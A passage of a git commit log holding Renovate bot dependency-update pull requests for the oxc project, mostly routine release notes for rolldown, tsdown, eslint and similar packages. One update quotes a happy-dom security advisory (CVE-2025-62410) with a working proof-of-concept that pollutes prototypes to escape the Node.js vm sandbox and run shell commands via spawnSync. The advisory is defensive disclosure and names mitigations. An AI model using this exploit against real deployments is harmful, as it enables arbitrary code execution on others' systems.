([#​6465](https://redirect.github.com/rolldown/rolldown/issues/6465 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- background sourcemap generation for Javascript transform hooks
([#​6293](https://redirect.github.com/rolldown/rolldown/issues/6293 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rolldown\_plugin\_vite\_html: handle style tag
([#​6464](https://redirect.github.com/rolldown/rolldown/issues/6464 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_vite\_html: handle inline style attribute
([#​6463](https://redirect.github.com/rolldown/rolldown/issues/6463 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- rolldown\_plugin\_vite\_html: partially handle vite-ignore attribute
([#​6462](https://redirect.github.com/rolldown/rolldown/issues/6462 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- dev/node: expose errors of `on_hmr_updatrs` to node
([#​6454](https://redirect.github.com/rolldown/rolldown/issues/6454 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev/node: expose errors of `on_output` to node
([#​6453](https://redirect.github.com/rolldown/rolldown/issues/6453 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: expose hmr errors on `on_hmr_updatrs` callback
([#​6443](https://redirect.github.com/rolldown/rolldown/issues/6443 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 🐛 Bug Fixes
- fallback sourcemap generation for `experimental.nativeMagicString:
false`
([#​6488](https://redirect.github.com/rolldown/rolldown/issues/6488 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- take `resolve.modules` into account
([#​6484](https://redirect.github.com/rolldown/rolldown/issues/6484 ))
by [@​Pickachu](https://redirect.github.com/Pickachu )
- rolldown: increase tokio blocking threads size for watch mode
([#​6467](https://redirect.github.com/rolldown/rolldown/issues/6467 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
- use len\_utf16 in magic\_string CharToByteMapper
([#​6461](https://redirect.github.com/rolldown/rolldown/issues/6461 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- pass `advancedChunks#includeDependenciesRecursively` to rust
([#​6448](https://redirect.github.com/rolldown/rolldown/issues/6448 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev: should compute hmr update correctly for multiple clients
([#​6442](https://redirect.github.com/rolldown/rolldown/issues/6442 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- allow specifying packageJsonPath in PluginContext.load
([#​6439](https://redirect.github.com/rolldown/rolldown/issues/6439 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
- use transform.target as default for minify target when `minify: {
compress: true }`
([#​6433](https://redirect.github.com/rolldown/rolldown/issues/6433 ))
by [@​sapphi-red](https://redirect.github.com/sapphi-red )
##### 🚜 Refactor
- extract background sourcemap handling into separate methods
([#​6501](https://redirect.github.com/rolldown/rolldown/issues/6501 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
- rust: only expose methods of `Bundler` for public usage
([#​6480](https://redirect.github.com/rolldown/rolldown/issues/6480 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev/node: use napi object instead clss for `BindingClientHmrUpdate`
([#​6456](https://redirect.github.com/rolldown/rolldown/issues/6456 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- dev/node: improve `DevOnHmrUpdates` API
([#​6455](https://redirect.github.com/rolldown/rolldown/issues/6455 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
##### 📚 Documentation
- update team page and add acknowledgements page
([#​6495](https://redirect.github.com/rolldown/rolldown/issues/6495 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- restructure website and files
([#​6492](https://redirect.github.com/rolldown/rolldown/issues/6492 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- correct incorrect documentation about the config file
([#​6472](https://redirect.github.com/rolldown/rolldown/issues/6472 ))
by [@​jsparkdev](https://redirect.github.com/jsparkdev )
- options: `experimental.strictExecutionOrder`
([#​6450](https://redirect.github.com/rolldown/rolldown/issues/6450 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- adding `why-plugin-hook-filter` in depth
([#​6446](https://redirect.github.com/rolldown/rolldown/issues/6446 ))
by [@​IWANABETHATGUY](https://redirect.github.com/IWANABETHATGUY )
##### ⚡ Performance
- rolldown: replace serde JSON string escape with simd impl
([#​6475](https://redirect.github.com/rolldown/rolldown/issues/6475 ))
by [@​Brooooooklyn](https://redirect.github.com/Brooooooklyn )
##### ⚙️ Miscellaneous Tasks
- docs: redirect removed path to new locations for compatibility
([#​6493](https://redirect.github.com/rolldown/rolldown/issues/6493 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: lock file maintenance npm packages
([#​6490](https://redirect.github.com/rolldown/rolldown/issues/6490 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions (major)
([#​6415](https://redirect.github.com/rolldown/rolldown/issues/6415 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- deps: update github-actions
([#​6489](https://redirect.github.com/rolldown/rolldown/issues/6489 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- rust: add comment for `DiagnosticOptions#stabilize_path`
([#​6447](https://redirect.github.com/rolldown/rolldown/issues/6447 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- rust: remove unused `BindingHmrOutput`
([#​6457](https://redirect.github.com/rolldown/rolldown/issues/6457 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- rolldown\_plugin\_vite\_html: tweak `utils.rs`
([#​6460](https://redirect.github.com/rolldown/rolldown/issues/6460 ))
by [@​shulaoda](https://redirect.github.com/shulaoda )
- change node version to lts
([#​6435](https://redirect.github.com/rolldown/rolldown/issues/6435 ))
by [@​iiio2](https://redirect.github.com/iiio2 )
- rust/test: split hmr related structs into their own files
([#​6445](https://redirect.github.com/rolldown/rolldown/issues/6445 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- deps: update crate-ci/typos action to v1.38.1
([#​6452](https://redirect.github.com/rolldown/rolldown/issues/6452 ))
by [@​renovate](https://redirect.github.com/renovate )\[bot]
- rust/test: render hmr errors
([#​6444](https://redirect.github.com/rolldown/rolldown/issues/6444 ))
by [@​hyf0](https://redirect.github.com/hyf0 )
- examples: add `"type": "module"` in `package.json`
([#​6441](https://redirect.github.com/rolldown/rolldown/issues/6441 ))
by [@​iiio2](https://redirect.github.com/iiio2 )
##### ❤️ New Contributors
- [@​Pickachu](https://redirect.github.com/Pickachu ) made their
first contribution in
[#​6484](https://redirect.github.com/rolldown/rolldown/pull/6484 )
- [@​elecmonkey](https://redirect.github.com/elecmonkey ) made
their first contribution in
[#​6476](https://redirect.github.com/rolldown/rolldown/pull/6476 )
- [@​jsparkdev](https://redirect.github.com/jsparkdev ) made their
first contribution in
[#​6472](https://redirect.github.com/rolldown/rolldown/pull/6472 )
</details>
<details>
<summary>eslint/eslint (eslint)</summary>
###
[`v9.38.0`](https://redirect.github.com/eslint/eslint/compare/v9.37.0...8fe511b4c0fb74df3290271b29c672c3fbf3be1f )
[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v9.37.0...v9.38.0 )
</details>
<details>
<summary>rolldown/tsdown (tsdown)</summary>
###
[`v0.15.8`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.15.8 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.15.7...v0.15.8 )
##### 🚀 Features
- **rolldown**: Write config for debugging - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(ec8d5)</samp>](https://redirect.github.com/rolldown/tsdown/commit/ec8d5d3 )
##### 🐞 Bug Fixes
- **target**: Invalid number target - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(c1071)</samp>](https://redirect.github.com/rolldown/tsdown/commit/c107142 )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.15.7...v0.15.8 )
###
[`v0.15.7`](https://redirect.github.com/rolldown/tsdown/releases/tag/v0.15.7 )
[Compare
Source](https://redirect.github.com/rolldown/tsdown/compare/v0.15.6...v0.15.7 )
##### 🚀 Features
- **create-tsdown**: Migrate from Gugustinette/create-tsdown - by
[@​sxzz](https://redirect.github.com/sxzz ) in
[#​535](https://redirect.github.com/rolldown/tsdown/issues/535 )
[<samp>(df36a)</samp>](https://redirect.github.com/rolldown/tsdown/commit/df36ab5 )
##### 🐞 Bug Fixes
- **publint**:
- Package dir for workspace - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(7ae61)</samp>](https://redirect.github.com/rolldown/tsdown/commit/7ae611a )
- With option name - by
[@​sxzz](https://redirect.github.com/sxzz )
[<samp>(95550)</samp>](https://redirect.github.com/rolldown/tsdown/commit/95550ee )
##### [View changes on
GitHub](https://redirect.github.com/rolldown/tsdown/compare/v0.15.6...v0.15.7 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 9am on monday" in timezone
Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions ) if
that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-20 03:27:43 +00:00
renovate[bot]
f5b34450dc
chore(deps): update dependency happy-dom to v20.0.2 [security] ( #14640 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom ) |
[`20.0.0` ->
`20.0.2`](https://renovatebot.com/diffs/npm/happy-dom/20.0.0/20.0.2 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
### GitHub Vulnerability Alerts
####
[CVE-2025-62410](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5 )
### Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling
eval/Function when executing untrusted code in happy-dom does not
suffice, since it still allows prototype pollution payloads.
### Details
The untrusted script and the rest of the application still run in the
same Isolate/process, so attackers can deploy prototype pollution
payloads to hijack important references like "process" in the example
below, or to hijack control flow via flipping checks of undefined
property. There might be other payloads that allow the manipulation of
require, e.g., via (univeral) gadgets
(https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf ).
### PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to
obtain important references at runtime, e.g., "process". In this way,
attackers might be able to execute arbitrary commands like in the
example below via spawn().
```js
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com ';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
```
### Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.
### Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against
attacks similar to the PoC above. However, the untrusted code might
still be able to retrieve all kind of information available in the
global scope and exfiltrate them via fetch(), even without prototype
pollution capabilities. Not to mention side channels caused by the
shared process/isolate. Migration to
[isolated-vm](https://redirect.github.com/laverdet/isolated-vm ) is
suggested instead.
Cris from the Endor Labs Security Research Team, who has worked
extensively on JavaScript sandboxing in the past, submitted this
advisory.
---
### Release Notes
<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>
###
[`v20.0.2`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.1...f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.1...v20.0.2 )
###
[`v20.0.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.0...f45d92e176acf0232aade63ee4ddac8747252a79 )
[Compare
Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.0.0...v20.0.1 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone Asia/Shanghai,
Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ).
View the [repository job
log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNDMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-10-15 21:37:42 +00:00
renovate
da9af14771
chore(deps): lock file maintenance npm packages ( #14535 )
...
This PR contains the following updates:
| Package | Type | Update | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|---|---|
| | | lockFileMaintenance | All locks refreshed | | | | |
| [@codspeed/vitest-plugin](https://codspeed.io ) ([source](https://redirect.github.com/CodSpeedHQ/codspeed-node )) | devDependencies | patch | [`5.0.0` -> `5.0.1`](https://renovatebot.com/diffs/npm/@codspeed%2fvitest-plugin/5.0.0/5.0.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs ) | pnpm.catalog.default | patch | [`3.3.0` -> `3.3.1`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.3.0/3.3.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@napi-rs/wasm-runtime](https://redirect.github.com/napi-rs/napi-rs ) ([source](https://redirect.github.com/napi-rs/napi-rs/tree/HEAD/wasi-runtime )) | pnpm.catalog.default | patch | [`1.0.6` -> `1.0.7`](https://renovatebot.com/diffs/npm/@napi-rs%2fwasm-runtime/1.0.6/1.0.7 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node ) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node )) | devDependencies | minor | [`24.5.2` -> `24.7.2`](https://renovatebot.com/diffs/npm/@types%2fnode/24.5.2/24.7.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@typescript-eslint/visitor-keys](https://typescript-eslint.io ) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/visitor-keys )) | devDependencies | minor | [`8.44.1` -> `8.46.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2fvisitor-keys/8.44.1/8.46.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [@vscode/test-cli](https://redirect.github.com/Microsoft/vscode-test-cli ) | devDependencies | patch | [`^0.0.11` -> `^0.0.12`](https://renovatebot.com/diffs/npm/@vscode%2ftest-cli/0.0.11/0.0.12 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [cross-env](https://redirect.github.com/kentcdodds/cross-env ) | devDependencies | minor | [`10.0.0` -> `10.1.0`](https://renovatebot.com/diffs/npm/cross-env/10.0.0/10.1.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [es-toolkit](https://es-toolkit.dev ) ([source](https://redirect.github.com/toss/es-toolkit )) | devDependencies | minor | [`1.39.10` -> `1.40.0`](https://renovatebot.com/diffs/npm/es-toolkit/1.39.10/1.40.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [eslint](https://eslint.org ) ([source](https://redirect.github.com/eslint/eslint )) | devDependencies | minor | [`9.36.0` -> `9.37.0`](https://renovatebot.com/diffs/npm/eslint/9.36.0/9.37.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [jiti](https://redirect.github.com/unjs/jiti ) | devDependencies | patch | [`2.6.0` -> `2.6.1`](https://renovatebot.com/diffs/npm/jiti/2.6.0/2.6.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [memfs](https://redirect.github.com/streamich/memfs ) | devDependencies | minor | [`4.48.1` -> `4.49.0`](https://renovatebot.com/diffs/npm/memfs/4.48.1/4.49.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [motion](https://redirect.github.com/motiondivision/motion ) | devDependencies | patch | [`12.23.22` -> `12.23.24`](https://renovatebot.com/diffs/npm/motion/12.23.22/12.23.24 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [ovsx](https://open-vsx.org ) ([source](https://redirect.github.com/eclipse/openvsx/tree/HEAD/cli )) | devDependencies | patch | [`0.10.5` -> `0.10.6`](https://renovatebot.com/diffs/npm/ovsx/0.10.5/0.10.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [playwright](https://playwright.dev ) ([source](https://redirect.github.com/microsoft/playwright )) | devDependencies | minor | [`1.55.1` -> `1.56.0`](https://renovatebot.com/diffs/npm/playwright/1.55.1/1.56.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [pnpm](https://pnpm.io ) ([source](https://redirect.github.com/pnpm/pnpm/tree/HEAD/pnpm )) | packageManager | patch | [`10.18.0` -> `10.18.2`](https://renovatebot.com/diffs/npm/pnpm/10.18.0/10.18.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [publint](https://publint.dev ) ([source](https://redirect.github.com/publint/publint/tree/HEAD/packages/publint )) | pnpm.catalog.default | patch | [`0.3.13` -> `0.3.14`](https://renovatebot.com/diffs/npm/publint/0.3.13/0.3.14 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [ramda](https://ramdajs.com/ ) ([source](https://redirect.github.com/ramda/ramda )) | devDependencies | minor | [`^0.31.0` -> `^0.32.0`](https://renovatebot.com/diffs/npm/ramda/0.31.3/0.32.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [rolldown](https://rolldown.rs/ ) ([source](https://redirect.github.com/rolldown/rolldown/tree/HEAD/packages/rolldown )) | devDependencies | patch | [`1.0.0-beta.41` -> `1.0.0-beta.42`](https://renovatebot.com/diffs/npm/rolldown/1.0.0-beta.41/1.0.0-beta.42 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
| [tsdown](https://redirect.github.com/rolldown/tsdown ) | devDependencies | patch | [`0.15.5` -> `0.15.6`](https://renovatebot.com/diffs/npm/tsdown/0.15.5/0.15.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
🔧 This Pull Request updates lock files to use the latest dependency versions.
---
### Release Notes
<details>
<summary>CodSpeedHQ/codspeed-node (@​codspeed/vitest-plugin)</summary>
### [`v5.0.1`](https://redirect.github.com/CodSpeedHQ/codspeed-node/releases/tag/v5.0.1 )
[Compare Source](https://redirect.github.com/CodSpeedHQ/codspeed-node/compare/v5.0.0...v5.0.1 )
#### What's Changed
- fix(vitest-plugin): update readme with correct minimal vitest version by [@​GuillaumeLagrange](https://redirect.github.com/GuillaumeLagrange ) in [#​61](https://redirect.github.com/CodSpeedHQ/codspeed-node/pull/61 )
- fix: make tinybench peer dep broader by [@​adriencaccia](https://redirect.github.com/adriencaccia ) in [#​63](https://redirect.github.com/CodSpeedHQ/codspeed-node/pull/63 )
**Full Changelog**: <https://github.com/CodSpeedHQ/codspeed-node/compare/v5.0.0...v5.0.1 >
</details>
<details>
<summary>napi-rs/napi-rs (@​napi-rs/cli)</summary>
### [`v3.3.1`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.3.0...@napi-rs/cli@3.3.1 )
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.3.0...@napi-rs/cli@3.3.1 )
</details>
<details>
<summary>napi-rs/napi-rs (@​napi-rs/wasm-runtime)</summary>
### [`v1.0.7`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/wasm-runtime@1.0.6...@napi-rs/wasm-runtime@1.0.7 )
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/wasm-runtime@1.0.6...@napi-rs/wasm-runtime@1.0.7 )
</details>
<details>
<summary>typescript-eslint/typescript-eslint (@​typescript-eslint/visitor-keys)</summary>
### [`v8.46.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/visitor-keys/CHANGELOG.md#8460-2025-10-06 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.45.0...v8.46.0 )
This was a version bump only for visitor-keys to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
### [`v8.45.0`](https://redirect.github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/visitor-keys/CHANGELOG.md#8450-2025-09-29 )
[Compare Source](https://redirect.github.com/typescript-eslint/typescript-eslint/compare/v8.44.1...v8.45.0 )
This was a version bump only for visitor-keys to align it with other projects, there were no code changes.
You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning ) and [releases](https://typescript-eslint.io/users/releases ) on our website.
</details>
<details>
<summary>Microsoft/vscode-test-cli (@​vscode/test-cli)</summary>
### [`v0.0.12`](https://redirect.github.com/Microsoft/vscode-test-cli/blob/HEAD/CHANGELOG.md#0012---2025-10-09 )
- Package version bumps
</details>
<details>
<summary>kentcdodds/cross-env (cross-env)</summary>
### [`v10.1.0`](https://redirect.github.com/kentcdodds/cross-env/releases/tag/v10.1.0 )
[Compare Source](https://redirect.github.com/kentcdodds/cross-env/compare/v10.0.0...v10.1.0 )
##### Features
- add support for default value syntax ([152ae6a](https://redirect.github.com/kentcdodds/cross-env/commit/152ae6a85b5725ac3c725a8a3e471aee79acc712 ))
For example:
```json
"dev:server": "cross-env wrangler dev --port ${PORT:-8787}",
```
If `PORT` is already set, use that value, otherwise fallback to `8787`.
Learn more about [Shell Parameter Expansion](https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html )
</details>
<details>
<summary>toss/es-toolkit (es-toolkit)</summary>
### [`v1.40.0`](https://redirect.github.com/toss/es-toolkit/blob/HEAD/CHANGELOG.md#Version-v1400 )
[Compare Source](https://redirect.github.com/toss/es-toolkit/compare/v1.39.10...v1.40.0 )
Released on October 8th, 2025.
- Enhanced `sumBy` to pass the element index to the `getValue` callback function.
- Improved performance for `uniq` function.
- Fixed `cloneDeepWith` to handle runtime errors in environments without Blob support and correctly clone Boolean, Number, and String objects.
- Fixed `omit` to avoid unnecessary deep cloning, improving performance.
- Fixed `toCamelCaseKeys` to properly handle PascalCase type conversion.
- Fixed `toPath` to correctly handle arrays and non-string inputs.
- Fixed `repeat` to validate and handle invalid repeat counts.
- Fixed `sortedIndexBy` to properly handle default iteratee.
- Fixed `some` predicate check to correctly handle null and undefined cases.
- Fixed compatibility issue in `compat/unset` with nonexistent paths.
- Fixed several JSDoc issues across multiple functions including return types, parameter descriptions, and method names.
- Improved documentation clarity and consistency across multiple functions.
- Enhanced test coverage with additional test cases for compat functions and edge cases.
- Updated build configuration and CI workflows.
We sincerely thank [@​wo-o29](https://redirect.github.com/wo-o29 ), [@​D-Sketon](https://redirect.github.com/D-Sketon ), [@​HidenLee](https://redirect.github.com/HidenLee ), [@​yoouung](https://redirect.github.com/yoouung ), [@​manudeli](https://redirect.github.com/manudeli ), [@​dayongkr](https://redirect.github.com/dayongkr ), [@​Li13](https://redirect.github.com/Li13 ), [@​nicklemmon](https://redirect.github.com/nicklemmon ), [@​sen2y](https://redirect.github.com/sen2y ), [@​miinhho](https://redirect.github.com/miinhho ), [@​raon0211](https://redirect.github.com/raon0211 ), [@​joshkel](https://redirect.github.com/joshkel ), [@​jgjgill](https://redirect.github.com/jgjgill ), [@​mlnwns](https://redirect.github.com/mlnwns ), [@​Dohun-choi](https://redirect.github.com/Dohun-choi ), [@​PinkChampagne17](https://redirect.github.com/PinkChampagne17 ), [@​sukvvon](https://redirect.github.com/sukvvon ), [@​YOUNGHO8762](https://redirect.github.com/YOUNGHO8762 ), [@​caseBread](https://redirect.github.com/caseBread ), [@​Jeongeun-Choi](https://redirect.github.com/Jeongeun-Choi ), [@​artechventure](https://redirect.github.com/artechventure ) and hoyyChoi for their contributions. We appreciate your great efforts!
</details>
<details>
<summary>eslint/eslint (eslint)</summary>
### [`v9.37.0`](https://redirect.github.com/eslint/eslint/compare/v9.36.0...d5d1bdf5fdfad75197aadd3e894182135158c3b1 )
